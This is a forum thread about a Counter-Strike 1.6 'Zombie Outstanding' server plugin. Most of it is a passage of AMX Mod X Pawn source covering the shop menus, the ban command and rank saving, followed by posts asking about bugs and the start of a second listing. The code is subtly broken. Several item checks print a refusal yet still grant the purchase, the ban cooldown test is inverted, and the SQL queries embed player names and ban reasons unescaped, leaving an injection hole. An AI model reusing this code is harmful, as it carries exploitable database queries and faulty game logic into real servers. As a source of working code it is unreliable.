						client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 Please wait at least^4 three seconds^1 after the round begining!");
					}
					if (g_iRoundsCount > 2 && !g_iRounds[g_iRoundsCount] && !g_iRounds[g_iRoundsCount + -1] && g_bRoundStart)
					{
						g_bRoundStart = false;
						remove_task(550, 0);
						StartAssassinMode(iPlayer);
						remove_task(700, 0);
						g_iPacks[iPlayer] -= g_iExtraItemsPrices[iChoice];
						set_hudmessage(205, 102, 29, -1.00, 0.70, 1, 0.00, 3.00, 2.00, 1.00, -1);
						ShowSyncHudMsg(0, g_iEventsHudmessage, "%s bought Assassin!", g_cName[iPlayer]);
						client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^3 %s^1 bought^4 Assassin", g_cName[iPlayer]);
						copy(g_cModeRecordings[g_iModeRecordings], 32, g_cName[iPlayer]);
						g_iModeRecordings += 1;
					}
					client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 Sorry but you can't buy right now...");
				}
			}
			case 24:
			{
				if (g_iExtraItemsPrices[iChoice] > g_iPacks[iPlayer])
				{
					client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 You don't have enough ammo packs!");
					return 0;
				}
				if ((g_iExtraItemsTeams[iChoice] == 1 && !g_bZombie[iPlayer]) || (g_bZombie[iPlayer] && g_iExtraItemsTeams[iChoice] == 2))
				{
					client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 This item is not for your team!");
					return 0;
				}
				g_iBlinks[iPlayer] += 5;
				g_iPacks[iPlayer] -= g_iExtraItemsPrices[iChoice];
				set_hudmessage(205, 102, 29, -1.00, 0.70, 1, 0.00, 3.00, 2.00, 1.00, -1);
				ShowSyncHudMsg(0, g_iEventsHudmessage, "%s bought Knife Blinks!", g_cName[iPlayer]);
			}
			default:
			{
			}
		}
	}
	return 0;
}

public _ShopMenu(iPlayer, iMenu, iItem)
{
	if (iItem != -3 && g_bConnected[iPlayer])
	{
		static iChoice;
		static iDummy;
		static cBuffer[3];
        menu_item_getinfo(iMenu,iItem, iDummy, cBuffer, charsmax ( cBuffer ), _, _, iDummy );
		iChoice = str_to_num(cBuffer);
		switch (iChoice)
		{
			case 0:
			{
				if (g_iShopItemsPrices[iChoice] > g_iPoints[iPlayer])
				{
					client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 You don't have enough points!");
				}
				else
				{
					if (g_iShopItemsTeams[iChoice] == 2 && g_bZombie[iPlayer])
					{
						client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 This item is not for your team!");
					}
					if (!g_bAlive[iPlayer])
					{
						client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 You should be alive!");
					}
					g_bDoubleDamage[iPlayer] = 1;
                    set_hudmessage(205, 102, 29, -1.00, 0.70, 1, 0.00, 3.00, 2.00, 1.00, -1);
					ShowSyncHudMsg(0, g_iEventsHudmessage, "%s bought Double Damage!", g_cName[iPlayer]);
					client_print_color(0, print_team_grey, "^4[Zombie Outstanding]^3 %s^1 bought^4 Double Damage", g_cName[iPlayer]);
					g_iPoints[iPlayer] -= g_iShopItemsPrices[iChoice];
					SaveRank(iPlayer);
				}
			}
			case 1:
			{
				if (g_iShopItemsPrices[iChoice] > g_iPoints[iPlayer])
				{
					client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 You don't have enough points!");
				}
				else
				{
					if (g_bAdmin[iPlayer] && AdminHasFlag(iPlayer, 114))
					{
						client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 You already have this feature!");
					}
					g_bServerSlot[iPlayer] = 1;
					client_cmd(iPlayer, "messagemode amx_password_for_slot");
                    set_task(0.2, "TaskPrintPassword", iPlayer, "", 0, "a", 15);
					g_iPoints[iPlayer] -= g_iShopItemsPrices[iChoice];
					SaveRank(iPlayer);
				}
			}
			case 2:
			{
				if (g_iShopItemsPrices[iChoice] > g_iPoints[iPlayer])
				{
					client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 You don't have enough points!");
				}
				else
				{
					if (g_bAdmin[iPlayer] && AdminHasFlag(iPlayer, 109))
					{
						client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 You already have this feature!");
					}
					g_bAdminModel[iPlayer] = 1;
					client_cmd(iPlayer, "messagemode amx_password_for_model");
                    set_task(0.2, "TaskPrintPassword", iPlayer, "", 0, "a", 15);
					g_iPoints[iPlayer] -= g_iShopItemsPrices[iChoice];
					SaveRank(iPlayer);
				}
			}
			case 3:
			{
				if (g_iShopItemsPrices[iChoice] > g_iPoints[iPlayer])
				{
					client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 You don't have enough points!");
				}
				else
				{
					g_iPacks[iPlayer] += 100;
					g_iPoints[iPlayer] -= g_iShopItemsPrices[iChoice];
					set_hudmessage(205, 102, 29, -1.00, 0.70, 1, 0.00, 3.00, 2.00, 1.00, -1);
					ShowSyncHudMsg(0, g_iEventsHudmessage, "%s bought 100 ammo packs!", g_cName[iPlayer]);
					client_print_color(0, print_team_grey, "^4[Zombie Outstanding]^3 %s^1 bought^4 100 ammo packs", g_cName[iPlayer]);
					SaveRank(iPlayer);
				}
			}
			case 4:
			{
				if (g_iShopItemsPrices[iChoice] > g_iPoints[iPlayer])
				{
					client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 You don't have enough points!");
				}
				else
				{
					g_iPacks[iPlayer] += 200;
					g_iPoints[iPlayer] -= g_iShopItemsPrices[iChoice];
					set_hudmessage(205, 102, 29, -1.00, 0.70, 1, 0.00, 3.00, 2.00, 1.00, -1);
					ShowSyncHudMsg(0, g_iEventsHudmessage, "%s bought 200 ammo packs!", g_cName[iPlayer]);
					client_print_color(0, print_team_grey, "^4[Zombie Outstanding]^3 %s^1 bought^4 200 ammo packs", g_cName[iPlayer]);
					SaveRank(iPlayer);
				}
			}
			case 5:
			{
				if (g_iShopItemsPrices[iChoice] > g_iPoints[iPlayer])
				{
					client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 You don't have enough points!");
				}
				else
				{
					g_iPacks[iPlayer] += 300;
					g_iPoints[iPlayer] -= g_iShopItemsPrices[iChoice];
					set_hudmessage(205, 102, 29, -1.00, 0.70, 1, 0.00, 3.00, 2.00, 1.00, -1);
					ShowSyncHudMsg(0, g_iEventsHudmessage, "%s bought 300 ammo packs!", g_cName[iPlayer]);
					client_print_color(0, print_team_grey, "^4[Zombie Outstanding]^3 %s^1 bought^4 300 ammo packs", g_cName[iPlayer]);
					SaveRank(iPlayer);
				}
			}
			case 6:
			{
				if (g_iShopItemsPrices[iChoice] > g_iPoints[iPlayer])
				{
					client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 You don't have enough points!");
				}
				else
				{
					if (g_iShopItemsTeams[iChoice] == 2 && g_bZombie[iPlayer])
					{
						client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 This item is not for your team!");
					}
					if (!g_bAlive[iPlayer])
					{
						client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 You should be alive!");
					}
					g_bNoDamage[iPlayer] = 1;
					set_take_damage(iPlayer, 0);
					set_glow(iPlayer, 19, 32, 192, 255, 62);
					g_iPoints[iPlayer] -= g_iShopItemsPrices[iChoice];
					set_hudmessage(205, 102, 29, -1.00, 0.70, 1, 0.00, 3.00, 2.00, 1.00, -1);
					ShowSyncHudMsg(0, g_iEventsHudmessage, "%s bought God Mode!", g_cName[iPlayer]);
					client_print_color(0, print_team_grey, "^4[Zombie Outstanding]^3 %s^1 bought^4 God Mode", g_cName[iPlayer]);
					SaveRank(iPlayer);
				}
			}
			case 7:
			{
				new iAlive;
				iAlive = GetAliveCount();
				if (g_iShopItemsPrices[iChoice] > g_iPoints[iPlayer])
				{
					client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 You don't have enough points!");
				}
				else
				{
					if (g_iShopItemsTeams[iChoice] == 2 && g_bZombie[iPlayer])
					{
						client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 This item is not for your team!");
					}
					if (g_bRoundStart && iAlive > 9 && g_iLastMode != 128 && g_iRoundsCount > 3)
					{
						client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 You can't buy this feature right now!");
					}
					StartArmageddonMode(true);
					remove_task(700, 0);
					g_bRoundStart = false;
					remove_task(550, 0);
					g_iPoints[iPlayer] -= g_iShopItemsPrices[iChoice];
					set_hudmessage(205, 102, 29, -1.00, 0.70, 1, 0.00, 3.00, 2.00, 1.00, -1);
					ShowSyncHudMsg(0, g_iEventsHudmessage, "%s bought Armageddon Round through points!", g_cName[iPlayer]);
					client_print_color(0, print_team_grey, "^4[Zombie Outstanding]^3 %s^1 bought^4 Armageddon Round^1 through points!", g_cName[iPlayer]);
					SaveRank(iPlayer);
				}
			}
			default:
			{
			}
		}
	}
	return 0;
}

public CmdLast(iPlayer)
{
	if (g_bAdmin[iPlayer] && AdminHasFlag(iPlayer, 51))
	{
		static cAddress[24];
		static cName[32];
		static i;
		i = 0;
		while (i < g_iSize)
		{
			GetInfo(i, cName, 32, cAddress, 24);
			console_print(iPlayer, "%32s %24s", cName, cAddress);
			i += 1;
		}
	}
	return 0;
}

public CmdAddBan(iPlayer)
{
	if (g_bAdmin[iPlayer] && AdminHasFlag(iPlayer, "a"))
	{
		static Float:fGameTime;
		fGameTime = get_gametime();
		if (!floatsub(fGameTime, g_fLastBanQuery) >= 6.0)
		{
			console_print(iPlayer, "[Zombie Outstanding] Please wait six seconds...");
			return 1;
		}
		g_fLastBanQuery = fGameTime;
		static iTime;
		static iArgumentsCount;
		static cReason[36];
		static cTime[15];
		static cTarget[32];
		static cTargetName[32];
		read_argv(1, cTargetName, 32);
		read_argv(2, cTarget, 32);
		read_argv(3, cTime, 6);
		read_argv(4, cReason, 36);
		iTime = str_to_num(cTime);
		if (0 > iTime)
		{
			iTime = 0;
		}
		if (iTime > 175000)
		{
			iTime = 175000;
		}
		if (0 < iTime)
		{
			iTime = iTime * 60;
		}
		iArgumentsCount = read_argc();
		if (iArgumentsCount == 5 && !strlen(cReason) && !strlen(cTarget) && !strlen(cTargetName))
		{
			console_print(iPlayer, "[Zombie Outstanding] Command usage is amx_addban <name> <ip> <time> <reason>");
		}
		static cTimeLength[32];
		static cQuery[512];
		if (0 < iTime)
		{
			GetTimeLength(iTime / 60, cTimeLength, 32);
			formatex(cQuery, 512, "INSERT INTO b VALUES ( '%s', '%s', 'Unspecified', '%s', '%s', ( unix_timestamp( now( ) ) + %d ), '%s', unix_timestamp( now( ) ), '%s' )", g_cName[iPlayer], g_cSteam[iPlayer], cTargetName, cReason, iTime, cTarget, cTimeLength);
			SQL_ThreadQuery(g_hSQLTuple, "SQLEmpty", cQuery, hQuery, 0);
		}
		else
		{
			formatex(cQuery, 512, "INSERT INTO b VALUES ( '%s', '%s', 'Unspecified', '%s', '%s', 0, '%s', unix_timestamp( now( ) ), 'Permanently' )", g_cName[iPlayer], g_cSteam[iPlayer], cTargetName, cReason, cTarget);
			SQL_ThreadQuery(g_hSQLTuple, "SQLEmpty", cQuery, hQuery, 0);
		}
		if (0 < iTime)
		{
			AddCommas(iTime / 60, cTime, 14);
			client_print_color(0, print_team_grey, "^4[Zombie Outstanding]^1 Admin^4 %s^1 banned^4 %s^1 for^3 %s^1 minutes due to^3 %s", g_cName[iPlayer], cTargetName, cTime, cReason);
		}
		client_print_color(0, print_team_grey, "^4[Zombie Outstanding]^1 Admin^4 %s^1 banned^4 %s^1 permanently due to^3 %s", g_cName[iPlayer], cTargetName, cReason);
	}
	return 1;
}

GetZombies()
{
	static iNum;
	static i;
	iNum = 0;
	i = 1;
	while (g_iMaxClients + 1 > i)
	{
		if (g_bAlive[i] && g_bZombie[i])
		{
			iNum += 1;
		}
		i += 1;
	}
	return iNum;
}

GetHumans()
{
	static iNum;
	static i;
	iNum = 0;
	i = 1;
	while (g_iMaxClients + 1 > i)
	{
		if (g_bAlive[i] && !g_bZombie[i])
		{
			iNum += 1;
		}
		i += 1;
	}
	return iNum;
}

Float:GetEntitySpeed(iEntity)
{
	static Float:fVelocity[3];
	get_velocity(iEntity, fVelocity);
	return vector_length(fVelocity);
}

public TaskSaveRankPlayer(iPlayer)
{
	if (g_bConnected[iPlayer] && g_bRanked[iPlayer])
	{
		formatex(g_cQuery, 255, "UPDATE r SET s=%d,k=%d,d=%d,p=%d WHERE n='%s'", g_iScore[iPlayer], g_iKills[iPlayer], g_iDeaths[iPlayer], g_iPoints[iPlayer], g_cName[iPlayer]);
		SQL_ThreadQuery(g_hSQLTuple, "SQLEmpty", g_cQuery, hQuery, 0);
	}
	return 0;
}

SaveRank(iPlayer)
{
	if (g_bRanked[iPlayer] && g_bConnected[iPlayer])
	{
		static Float:fCurrentTime;
		fCurrentTime = get_gametime();
		if (floatsub(fCurrentTime, g_fLastQuery) >= 2.0)
		{
			g_fLastQuery = fCurrentTime;
			formatex(g_cQuery, 255, "UPDATE r SET s=%d,k=%d,d=%d,p=%d WHERE n='%s'", g_iScore[iPlayer], g_iKills[iPlayer], g_iDeaths[iPlayer], g_iPoints[iPlayer], g_cName[iPlayer]);
			SQL_ThreadQuery(g_hSQLTuple, "SQLEmpty", g_cQuery, hQuery, 0);
		}
		g_fLastQuery = floatadd(2.0, g_fLastQuery);
		set_task(floatsub(floatadd(2.0, g_fLastQuery), fCurrentTime), "TaskSaveRankPlayer", iPlayer, "", 0, "", 0);
	}
	return 0;
}

CheckLastPlayer(iPlayer)
{
	if (g_bRoundEnd || task_exists(550, 0))
	{
		return 0;
	}
	static i;
	static iPlayersNum;
	iPlayersNum = GetAliveCount();
	if (iPlayersNum < 2)
	{
		return 0;
	}
	if (g_bZombie[iPlayer] && GetZombies() == 1)
	{
		if (GetHumans() == 1 && GetCTs() == 1)
		{
			return 0;
		}
		do {
		} while (iPlayer == (i = GetRandomAlive()));
		client_print_color(0, print_team_grey, "^4[Zombie Outstanding]^1 Last zombie,^3 %s^1 disconnected,^4 %s^1 is the last zombie!", g_cName[iPlayer], g_cName[i]);
		if (g_iPlayerType[iPlayer] & 1)
		{
			MakeZombie(0, i, false, true, false);
			set_health(i, get_health(iPlayer));
		}
		else
		{
			if (g_iPlayerType[iPlayer] & 2)
			{
				MakeZombie(0, i, false, false, true);
				set_health(i, get_health(iPlayer));
			}
			MakeZombie(0, i, false, false, false);
		}
	}
	else
	{
		if (!g_bZombie[iPlayer] && GetHumans() == 1)
		{
			if (GetZombies() == 1 && GetTs() == 1)
			{
				return 0;
			}
			do {
			} while (iPlayer == (i = GetRandomAlive()));
			client_print_color(0, print_team_grey, "^4[Zombie Outstanding]^1 Last human,^3 %s^1 disconnected,^4 %s^1 is the last human!", g_cName[iPlayer], g_cName[i]);
			if (g_iPlayerType[iPlayer] & 4)
			{
				MakeHuman(i, true, false);
				set_health(i, get_health(iPlayer));
			}
			if (g_iPlayerType[iPlayer] & 8)
			{
				MakeHuman(i, false, true);
				set_health(i, get_health(iPlayer));
			}
			MakeHuman(i, false, false);
		}
	}
	return 0;
}

/*MakeZombie(iAttacker, iVictim, bool:bSilent, bool:bNemesis, bool:bAssassin)
{
	if (g_iZombieNextClass[iVictim] == -1)
	{
		menu_display(iVictim, g_iMenuZombieClasses, 0);
	}
	g_iZombieClass[iVictim] = g_iZombieNextClass[iVictim];
	if (g_iZombieClass[iVictim] == -1)
	{
		g_iZombieClass[iVictim] = 0;
	}
	if (get_user_jetpack(iVictim))
	{
		user_drop_jetpack(iVictim, 1);
	}
	g_bZombie[iVictim] = true;
	set_zombie(iVictim, 1);
	g_iBurningDuration[iVictim] = 0;
	g_iPlayerType[iVictim] = 0;
	g_bNoDamage[iVictim] = false;
	remove_glow(iVictim);
	g_cClass[iVictim] = g_cZombieClasses[g_iZombieClass[iVictim]];
	remove_task(iVictim + 200, 0);
	remove_task(iVictim + 250, 0);
	if (iAttacker)
	{
		send_death_msg(iAttacker, iVictim);
		send_score_attrib(iVictim);
		set_frags(iAttacker, get_frags(iAttacker) + 1);
		set_deaths(iVictim, get_deaths(iVictim) + 1);
		send_score_info(iAttacker);
		send_score_info(iVictim);
		g_iPacks[iAttacker]++;
		if (g_iZombieClass[iAttacker] == 6)
		{
			set_health(iAttacker, get_health(iAttacker) + 250);
			send_implosion(iAttacker);
			do_screen_fade( iAttacker, 0.60, 1.15, 255, 10, 10, 94 );
			set_glow(iAttacker, 19, 13, 255, 10, 10);
			set_task(3.0, "TaskRemoveRender", iAttacker, "", 0, "", 0);
			set_hudmessage(0, 255, 0, -1.00, 0.10, 1, 0.00, 1.75, 1.00, 1.00, -1);
			ShowSyncHudMsg(iAttacker, g_iTopMessageSync, "== HUNTER ==^n!!!!Regeneration: +250 HP Gained!!!");
		}
		if (g_iZombieClass[iAttacker] == 3)
		{
            message_begin(MSG_ONE_UNRELIABLE, get_user_msgid("ScreenFade"), _, iAttacker)
            write_short(4096)
            write_short(2048)
            write_short(0)
            write_byte(0)
            write_byte(64)
            write_byte(180)
            write_byte(255)
            message_end()				
            set_health(iAttacker, get_health(iAttacker) + 500);
            set_hudmessage(220, 235, 10, 0.12, 0.30, 1, 0.00, 1.75, 1.00, 1.00, -1);
            ShowSyncHudMsg(iAttacker, g_iTopMessageSync, "== MUTANT ==^n!!!!Regeneration: +500 HP Gained!!!");
		}
	}
	if (!bSilent)
	{
		if (bNemesis)
		{
			g_iPlayerType[iVictim] |= 1;
			set_health(iVictim, 150000);
			set_glow(iVictim, 19, 13, 250, 0, 0);
			g_cClass[iVictim] = "Nemesis"
		}
		else if (bAssassin)
		{
			g_iPlayerType[iVictim] |= 2;
			set_health(iVictim, 25000);
			g_cClass[iVictim] = "Assassin"
		}
		else if (GetZombies() == 1 && !g_iPlayerType[iVictim])
		{
			set_health(iVictim, floatround(float(g_iZombieHealths[g_iZombieClass[iVictim]]) * 2.25, floatround_round));
			EmitSound(iVictim, CHAN_AUTO, g_cZombieInfectSounds[random_num(0, 4)]);
		}
		else
		{
		    set_health(iVictim, g_iZombieHealths[g_iZombieClass[iVictim]]);
		    EmitSound(iVictim, CHAN_AUTO, g_cZombieInfectSounds[random_num(0, 4)]);
		    set_hudmessage(255, 0, 0, 0.05, 0.45, 0, 0.00, 5.00, 1.00, 1.00, -1);
		    if (iAttacker)
		    ShowSyncHudMsg(0, g_iLeftMessageSync, "%s's brains have been eaten by %s...", g_cName[iVictim], g_cName[iAttacker]);
		    else
		    ShowSyncHudMsg(0, g_iLeftMessageSync, "%s's brains have been eaten...", g_cName[iVictim]);
		}
	}
	else
	{
		set_health(iVictim, g_iZombieHealths[g_iZombieClass[iVictim]]);
	}
	if (get_team(iVictim) != 1)
	{
		set_team(iVictim, 1);
	}
	static Float:fCurrentTime;
	fCurrentTime = get_gametime();
	if (fCurrentTime - g_fLastChangedModel >= 0.25)
	{
        ChangeModel(iVictim + 250);
        g_fLastChangedModel = fCurrentTime;
	}
	else
	{
        set_task(g_fLastChangedModel + 0.25 - fCurrentTime, "ChangeModel", iVictim + 250, "", 0, "", 0);
        g_fLastChangedModel = g_fLastChangedModel + 0.25;
    }
	if (g_iPlayerType[iVictim] & 1)
	{
		message_begin(MSG_ONE, get_user_msgid("SetFOV"), _, iVictim)
		write_byte(110)
		message_end()
		set_monster(iVictim, 1);
	}
	send_damage(iVictim, 1);
	send_implosion(iVictim);
	InfectionEffects(iVictim);
	Task_EnableFlash(iVictim);
	strip_user_weapons(iVictim);
	reset_armor(iVictim);
	give_item(iVictim, "weapon_knife");
	ExecuteHamB(Ham_Item_PreFrame, iVictim);
	return 0;
}

MakeHuman(iPlayer, bool:bSurvivor, bool:bSniper)
{
	remove_task(iPlayer + 200, 0);
	remove_task(iPlayer + 350, 0);
	remove_task(iPlayer + 250, 0);
	g_bCanBuy[iPlayer] = 1;
	g_bNoDamage[iPlayer] = false;
	g_bFlashEnabled[iPlayer] = false;
	g_bFlash[iPlayer] = false;
	g_bFrozen[iPlayer] = false;
	g_bZombie[iPlayer] = false;
	g_iBurningDuration[iPlayer] = 0;
	g_iPlayerType[iPlayer] = 0;
	set_zombie(iPlayer, 0);
	g_cClass[iPlayer] = "Human";
	strip_user_weapons(iPlayer);
	give_item(iPlayer, "weapon_knife");
	remove_glow(iPlayer);
	if (bSurvivor)
	{
		g_iPlayerType[iPlayer] |= 4;
		g_cClass[iPlayer] = "Survivor";
		set_health(iPlayer, 3000);
		give_item(iPlayer, "weapon_m4a1");
		cs_set_user_bpammo(iPlayer, 22, 9999);
		give_item(iPlayer, "weapon_ak47");
		cs_set_user_bpammo(iPlayer, 28, 9999);
		give_item(iPlayer, "weapon_xm1014");
		cs_set_user_bpammo(iPlayer, 5, 9999);
		if (!user_has_weapon(iPlayer, 4, -1))
		{
			give_item(iPlayer, "weapon_hegrenade");
		}
	}
	else if (bSniper)
	{
		g_iPlayerType[iPlayer] |= 8;
		g_cClass[iPlayer] = "Sniper";
		set_health(iPlayer, 3000);
		give_item(iPlayer, "weapon_awp");
		cs_set_user_bpammo(iPlayer, 18, 9999);
		set_glow(iPlayer, 19, 13, 200, 200, 0);
	}
	else
	{
		set_health(iPlayer, 150);
		menu_display(iPlayer, g_iPrimaryMenu, 0);
		send_teleport(iPlayer);
		client_cmd(iPlayer, "spk zombie_plague/antidote");
		set_hudmessage(10, 255, 235, 0.05, 0.45, 1, 0.00, 5.00, 1.00, 1.00, -1);
		ShowSyncHudMsg(0, g_iLeftMessageSync, "%s has used an antidote!", g_cName[iPlayer]);
	}
	if (get_team(iPlayer) != 2)
	{
		set_team(iPlayer, 2);
	}
	static Float:fCurrentTime;
	fCurrentTime = get_gametime();
	if (floatsub(fCurrentTime, g_fLastChangedModel) >= 0.25)
	{
		ChangeModel(iPlayer + 250);
		g_fLastChangedModel = fCurrentTime;
	}
	else
	{
		set_task(floatsub(floatadd(0.25, g_fLastChangedModel), fCurrentTime), "ChangeModel", iPlayer + 250, "", 0, "", 0);
		g_fLastChangedModel = floatadd(0.25, g_fLastChangedModel);
	}
	ExecuteHamB(Ham_Item_PreFrame, iPlayer);
	return 0;
}

GetRandomAlive()
{
	static j;
	static i;
	static iPlayers[32];
	j = 0;
	i = 1;
	while (g_iMaxClients + 1 > i)
	{
		if (g_bAlive[i])
		{
			iPlayers[j] = i;
			j += 1;
		}
		i += 1;
	}
	return iPlayers[random_num(0, j + -1)];
}*/

GetCTs()
{
	static iCount;
	static i;
	iCount = 0;
	i = 1;
	while (g_iMaxClients + 1 > i)
	{
		if (g_bConnected[i] && get_team(i) == 2)
		{
			iCount += 1;
		}
		i += 1;
	}
	return iCount;
}

GetTs()
{
	static iCount;
	static i;
	iCount = 0;
	i = 1;
	while (g_iMaxClients + 1 > i)
	{
		if (g_bConnected[i] && get_team(i) == 1)
		{
			iCount += 1;
		}
		i += 1;
	}
	return iCount;
}

GetAliveCount()
{
	static iCount;
	static i;
	iCount = 0;
	i = 1;
	while (g_iMaxClients + 1 > i)
	{
		if (g_bAlive[i])
		{
			iCount += 1;
		}
		i += 1;
	}
	return iCount;
}

InsertInfo(iPlayer)
{
	if (0 < g_iSize)
	{
		static iLast;
		iLast = 0;
		if (g_iSize < 10)
		{
			iLast = g_iSize + -1;
		}
		else
		{
			iLast = g_iTracker + -1;
			if (0 > iLast)
			{
				iLast = g_iSize + -1;
			}
		}
		if (equal(g_cInternetProtocolAddress[iPlayer], g_cAddresses[iLast], 0))
		{
			copy(g_cNames[iLast], 32, g_cName[iPlayer]);
			return 0;
		}
	}
	static iTarget;
	iTarget = 0;
	if (g_iSize < 10)
	{
		iTarget = g_iSize;
		g_iSize += 1;
	}
	else
	{
		iTarget = g_iTracker;
		g_iTracker += 1;
		if (g_iTracker == 10)
		{
			g_iTracker = 0;
		}
	}
	copy(g_cNames[iTarget], 32, g_cName[iPlayer]);
	copy(g_cAddresses[iTarget], 24, g_cInternetProtocolAddress[iPlayer]);
	return 0;
}

GetInfo(i, cName[], iNameSize, cAddress[], iAddressSize)
{
	static iTarget;
	iTarget = i + g_iTracker % 10;
	copy(cName, iNameSize, g_cNames[iTarget]);
	copy(cAddress, iAddressSize, g_cAddresses[iTarget]);
	return 0;
}

public SQLLoadedRank(iFailState, Handle:hQuery, cError[], iErrorNum, cData[], iDataSize, Float:fQueueTime)
{
	g_bRanked[str_to_num(cData)] = 1;
	show_glow_message(str_to_num(cData), "You are now ranked!", 40960, 0.02, 0.685, 1.75);
	return 0;
}

stock client_print_color ( id, iColor = print_team_default, const Msg [ ], any:... )
{
	if ( id && !is_user_connected ( id ) ) return 0;
	
	if ( iColor > print_team_grey ) iColor = print_team_default;
	
	new Message [192];
	
	if ( iColor == print_team_default )
		
	Message [0] = 0x04;
	else
		Message [0] = 0x03;
	
	
	new iParams = numargs (  )
	
	if ( id )
	{
		if ( iParams == 3 )
			
		copy ( Message [1], charsmax ( Message ) -1, Msg );
		else
			vformat ( Message [1], charsmax ( Message ) -1, Msg, 4 );
		
		if ( iColor )
		{
			new GetTeam [11]; get_user_team ( id, GetTeam, charsmax ( GetTeam ) );
			
			SendTeamInfo ( id, id, TeamName [iColor] );
			
			SendSayText ( id, id, Message );
			
			SendTeamInfo ( id, id, GetTeam );
		}
		else
			SendSayText ( id, id, Message );
	} 
	else
	{
		new iPlayers [32], iNum; get_players ( iPlayers, iNum, "ch" );
		
		if ( !iNum ) return 0;
		
		new iFool = iPlayers [0];
		
		if ( iParams == 3 )
			
		copy ( Message [1], charsmax ( Message ) -1, Msg );
		else
			vformat ( Message [1], charsmax ( Message ) -1, Msg, 4 );
		
		if ( iColor )
		{
			new GetTeam [11]; get_user_team ( iFool, GetTeam, charsmax ( GetTeam ) );
			
			SendTeamInfo ( 0, iFool, TeamName [iColor] );
			
			SendSayText ( 0, iFool, Message);
			
			SendTeamInfo ( 0, iFool, GetTeam );
		}
		else
			SendSayText ( 0, iFool, Message );
	}
	
	return 1;
}

stock SendTeamInfo ( iReceiver, iPlayerId, GetTeam [] )
{
	static iTeamInfo = 0;
	
	if ( !iTeamInfo )
		
	iTeamInfo = get_user_msgid ( "TeamInfo" );
	
	message_begin ( iReceiver ? MSG_ONE_UNRELIABLE : MSG_BROADCAST, iTeamInfo, .player = iReceiver );
	
	write_byte ( iPlayerId );
	
	write_string ( GetTeam );
	
	message_end (  );
}

stock SendSayText ( iReceiver, iPlayerId, Message [ ] )
{
	static iSayText = 0;
	
	if ( !iSayText )
		
	iSayText = get_user_msgid ( "SayText" );
	
	message_begin ( iReceiver ? MSG_ONE_UNRELIABLE : MSG_BROADCAST, iSayText, .player = iReceiver );
	
	write_byte ( iPlayerId );
	
	write_string ( Message );
	
	message_end (  );
}
oricum are vreun bug addons-ul asta ? (cel pus de tine acum)
Image
Leul si tigru sunt mai puternici ca lupul,dar lupul la circ nu participa.
User avatar
dim2k
Membru, skill +1
Membru, skill +1
Posts: 110
Joined: 16 Dec 2016, 04:03
Detinator Steam: Da
CS Status: INACTIV
Detinator server CS: da
SteamID: coolmr
Fond eXtream: 0
Location: romania
Been thanked: 2 times

27 Sep 2019, 16:23

Rainq wrote:
27 Sep 2019, 16:19
vezi ca asta nu e sma-ul original de la outstanding

Code: Select all

#include zombie_outstanding
#include hamsandwich
#include float
#include sqlx

#pragma library hamsandwich
#pragma library zombie_outstanding
#pragma library sqlx


new g_cZombieInfectSounds[5][0] =
{
    "ZombieOutstanding/zombie_infect_01.wav",
    "ZombieOutstanding/zombie_infect_02.wav",
    "ZombieOutstanding/zombie_infect_03.wav",
    "ZombieOutstanding/zombie_infect_04.wav",
    "ZombieOutstanding/zombie_infect_05.wav"
};
new g_cEndRoundZombieSounds[4][0] =
{
    "ZombieOutstanding/end_round_win_zombies_01.wav",
    "ZombieOutstanding/end_round_win_zombies_02.wav",
    "ZombieOutstanding/end_round_win_zombies_03.wav",
    "ZombieOutstanding/end_round_win_zombies_04.wav"
};
new g_cEndRoundHumanSounds[3][0] =
{
    "ZombieOutstanding/end_round_win_humans_01.wav",
    "ZombieOutstanding/end_round_win_humans_02.wav",
    "ZombieOutstanding/end_round_win_humans_03.wav"
};
new g_cStartRoundSurvivorSounds[2][0] =
{
    "ZombieOutstanding/round_start_survivor_01.wav",
    "ZombieOutstanding/round_start_survivor_02.wav"
};
new g_cStartRoundNemesisSounds[2][0] =
{
    "ZombieOutstanding/round_start_nemesis_01.wav",
    "ZombieOutstanding/round_start_nemesis_02.wav"
};
new g_cZombieBurnSounds[5][0] =
{
    "ZombieOutstanding/zombie_burn_01.wav",
    "ZombieOutstanding/zombie_burn_02.wav",
    "ZombieOutstanding/zombie_burn_03.wav",
    "ZombieOutstanding/zombie_burn_04.wav",
    "ZombieOutstanding/zombie_burn_05.wav"
};
new g_cHumanNadeInfectSounds[3][0] =
{
    "ZombieOutstanding/human_nade_infect_scream_01.wav",
    "ZombieOutstanding/human_nade_infect_scream_02.wav",
    "ZombieOutstanding/human_nade_infect_scream_03.wav"
};
new Float:g_fDamageCoords[8][0] =
{
    { 0.50, 0.40 },
    { 0.56, 0.44 },
    { 0.60, 0.50 },
    { 0.56, 0.56 },
    { 0.50, 0.60 },
    { 0.44, 0.56 },
    { 0.40, 0.50 },
    { 0.44, 0.44 }
};
new g_cHumanModels[4][0] =
{
    "terror",
    "gign",
    "sas",
    "arctic"
};
new g_cZombieModels[7][0] =
{
    "z_out_clasic",
    "z_out_raptor",
    "z_out_mutant",
    "z_out_tight",
    "z_out_regenerator",
    "z_out_predator_blue",
    "z_out_hunter"
};
new g_cZombieClaws[7][0] =
{
    "models/ZombieOutstanding/z_out_clasic_claws.mdl",
    "models/ZombieOutstanding/z_out_raptor_claws.mdl",
